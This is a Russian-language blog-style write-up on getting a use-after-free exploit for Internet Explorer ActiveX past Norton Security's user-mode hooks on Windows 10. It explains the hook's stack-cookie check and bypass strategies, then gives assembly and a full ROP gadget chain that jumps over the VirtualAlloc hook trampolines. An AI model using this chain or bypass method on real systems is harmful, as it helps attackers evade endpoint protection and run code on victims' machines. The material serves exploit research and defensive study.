Зимним вечером придя с работы, захотелось мне проверить работоспособность своей старой лабы (2012 года) на тему эксплуатации Use-After-Free в ActiveX под Internet Explorer . Собственно на новом ноуте у меня была Windows 10, и последний IE со всеми этими вашими isolated heap и тд. И вот я запустил свой сплойт, как вдруг вышел облом от туда, откуда не ждали, на новом ноуте у меня стоял Norton Security, который пафосно детектировал 0day и стопанул:
Вечер обещал быть томным. предыдущий опыт работы с NextGen защитами подсказывал мне, что ребята из Symatec сделали все «дешево и быстро», а значит можно попробовать обойти эту защиту не сильно парясь. В общем, как показала практика, этот подход по защите от сплойтов ОЧЕНЬ типовой и обходится практически универсальным и единым методом. Другими словами, при детальном подходе к эксплойту — один и тот же код будет работать и против Norton Security и против других систем защиты, которые используют такой же механизм обороны (ну и конечно против систем, где защиты нет). Посмотрим же в чем «архитектурная» ошибка выбранного Symantec метода защиты…
Что ж, открыв банку ТУТ МОЖЕТ БЫТЬ ВАША РЕКЛАМА, я решил что одному дебажить это дело будет скучно, я уже примерно делал похожее до этого и знал что могу ожидать, хотя наверняка не знал… Но все же решил заодно протестить возможности «коллективного» угара в твиче, в итоге завел стрим, где я и мои товарищи из Defcon Russia начали «хакать» это дело. В итоге было медленнее, но веселее. Но перейдем к телу.
Запустив эксплойт из лабы несколько раз, подтвердилась моя догадка: Norton ставит ring3 хуки на «критичные» функции. В нашем случае, такая функция оказалась вызвана в ROP шелкоде: VirtualAlloc. ROP шеллкод всего лишь делал текущую страницу памяти исполняемой, собственно для этого он и вызывал VirtualProtect. Хук поставленный Norton дерзко вклинивался в пролог функции (трамплин) и перехватывал управление, где делал некие «магические» проверки. Если все ок, то хук возвращал управление, если же он заподозрил зло, то алерт, исключительная ситуация и мы попались (как на скриншоте). Этот метод защиты, как я писал выше, применяется не только Norton и другими ИБ вендорами, поэтому обсудим разные стратегии обхода:
1) Обмануть логику «магической проверки»
2) Перепрыгнуть хук и проверку
Первая стратегия подразумевает, что мы «знаем» в чем стостоит «магия», что именно проверяется и подсовываем то, что нужно и куда нужно, что бы убедить защиту, что все ОК. В данном случае, ребята из Defcon группы, во время стрима точно мне подсказали, в чем состоит магия — Norton в каждый стек фрейм всовывает «секретную печеньку», cookie. Когда же вызвается VirtualProtect, VirtualAlloc и даже WinExec, хук перехватывает управление и проверяет текущий стек, то есть эту самую куку. Так как во время эксплуатации Use-After-Free наш эксплойт делал так называемый Stack Pivot — смена текущего стек фрейма, на тот, что контролирует атакующий, в нашем случае это страница сгенерированная Heap Spray с ROP, то, конечно, оказывалось что этих кук не было в нашем случае. Отсюда и алерт. Обойти эту проверку можно разными способами:
Стратегия 1: Скопировать ROPом куки из оригинального стека, в новый
Стратегия 2: Скопировать ROP шеллкод в оригинальный стек, и вернуть ESP обратно
Этот метод хорош и прост, но есть один недостаток — он не так универсален, и работает только против конкретно этой проверки. Поэтому я решил тут сконцентрироваться на втором методе.
Второй метод еще проще — нам не надо думать о логике проверок и тд и тп, все что нам надо это «перепрыгнуть» трамплин с хуком, а значит и всю проверку. Недостатки этого метода так же очевидны — на разных ветках ОС, трамплины, а значит хуки будут разными. Я имею ввиду то, что хук на Windows 7 и хук на Windows 10 выглядят по разному (в Win10 имплементация VirtualAlloc уже в kernelbase.dll). Это значит, что в идеале, перед выдачей эксплойта, система (фронт енд) должна определять ОС — Windows 7, Windows 8.1 или Windows 10 и выдавать нужную версию сплойта. Но такой метод универсальнее, так как не важно есть ли Norton или же там есть другой хук — от другого вендора (или даже если хука нет). Так как конкретно в моем случае был Windows 10, то разберем то что было у меня, так вот выглядит хуки на VirtualProtect:
Тут у нас есть указатель VirtualAlloc ведет на враппер в kernel32.dll, там первый хук, а уже второй хук непосредственно в kernelbase.dll. Это значит, что в версии под Win10 надо перепрыгнуть сразу два хука. Мы можем сделать это в ROP: по сути мы читаем указатель на VirtalAlloc из IAT, далее по статическому смещению с этого указателя, читаем уже указатель на VirtualAlloc в kernelbase.dll (это для Win10, в Win7 достаточно первого указателя). После чего добавляем к адресу смещение, что бы перепрыгнуть второй хук, и уже туда передаем вызов. И не забываем заранее подогнать значение EBP так, что бы на момент этого вызова он был равен ESP. По сути нужен следущий код ESI указывает на VirtualAlloc:
mov eax, [esi + 8] ; читаем точный указатель на kernelbase.virtualalloc
mov eax, [eax] ; читаем как указатель
add eax, 5 ; меняем указатель так, что бы перепрыгнуть второй хук (на push ecx)
push ebp ; увеличиваем ESP (выравниваем стек)
mov ebp, esp ; заносим в EBP текущий указатель на стек
>0x5bf2b484 : # POP EAX # RETN
>204 : # offset to EBP
>0x5be63cd8 : # PUSH ESP # POP EBP # RETN 04
>0x5bf014a9 : # XCHG EAX,EBP # RETN
>0x90909090 : # TRASH
>0x5bf08c87 : # ADD EAX,EBP # RETN
>0x5bf014a9 : # XCHG EAX,EBP # RETN
# EAX = kernelbase.virtalloc + offset_over_the_hook
>0x5bee1907 : # POP ECX # RETN [npexploitMe.dll]
>0x5bf32114 : # ptr to &VirtualAlloc() [IAT npexploitMe.dll]
>0x5bed6fb0 : # MOV EAX,DWORD PTR DS:[ECX] # RETN [npexploitMe.dll]
>0x5bedba6d : # ADD EAX,8 # RETN
>0x5be629f9 : # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5be629f9 : # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5bee809a : # INC EAX # RETN
>0x5bee809a : # INC EAX # RETN
>0x5bee809a : # INC EAX # RETN
>0x5bee809a : # INC EAX # RETN
>0x5bee809a : # INC EAX # RETN
>0x5bf20010 : # XCHG EAX,ESI # RETN ; save VA in ESI
>0x5be8936f : # XOR EAX,EAX # RETN
>0x5bf08c87 : # ADD EAX,EBP # RETN ; EAX=EBP
>0x5bed87dd : # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN
; EDX = EBP, pointer to place where we want to store our VA parameters
>0x11223344 : # trash to esi
>0x5bf20010 : # XCHG EAX,ESI # RETN ; save VA in ESI
>0x5be98313 : # MOV EAX,ESI # RETN
>0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; save VA call address (1)
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN ; DWORD* pointer++
>0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; not needed, new EBP (2)
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bf2b484 : # POP EAX # RETN ; put return address after VA call int EAX
>0x5be63ce2 : # PUSH ESP # RETN ; this will be executed after VA (goes to EAX right now)
>0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; Retuen address (3)
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5bec1806 : # INC EDX # RETN
>0x5be8936f : # XOR EAX,EAX # RETN
>0x5bf08c87 : # ADD EAX,EBP # RETN ; EAX=EBP
>0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; pointer to page (4)
>0x5bef49e2 : # INC EBP # RETN
>0x5bef49e2 : # INC EBP # RETN
>0x5bef49e2 : # INC EBP # RETN
>0x5bef49e2 : # INC EBP # RETN ;fixing EBP, so now it is equal to ESP, prologue restored...
>0x5bee809b : # RETN
>0x11111111 : # This will be overwritten by (1)
>0x22222222 : # This will be overwritten by (2)
>0x22222222 : # Retuen address after VA call, will be overwritten by (3)
>0x33333333 : # First VA parameter - pointer, overwrittem by (4)
>0x00000001 : # Second VA parameter: size
>0x00001000 : # Third VA parameter: AllocationType = MEM_COMMIT
>0x00000040 : # Last VA parameter: R_X
К сожалению, не доступен сервер mySQL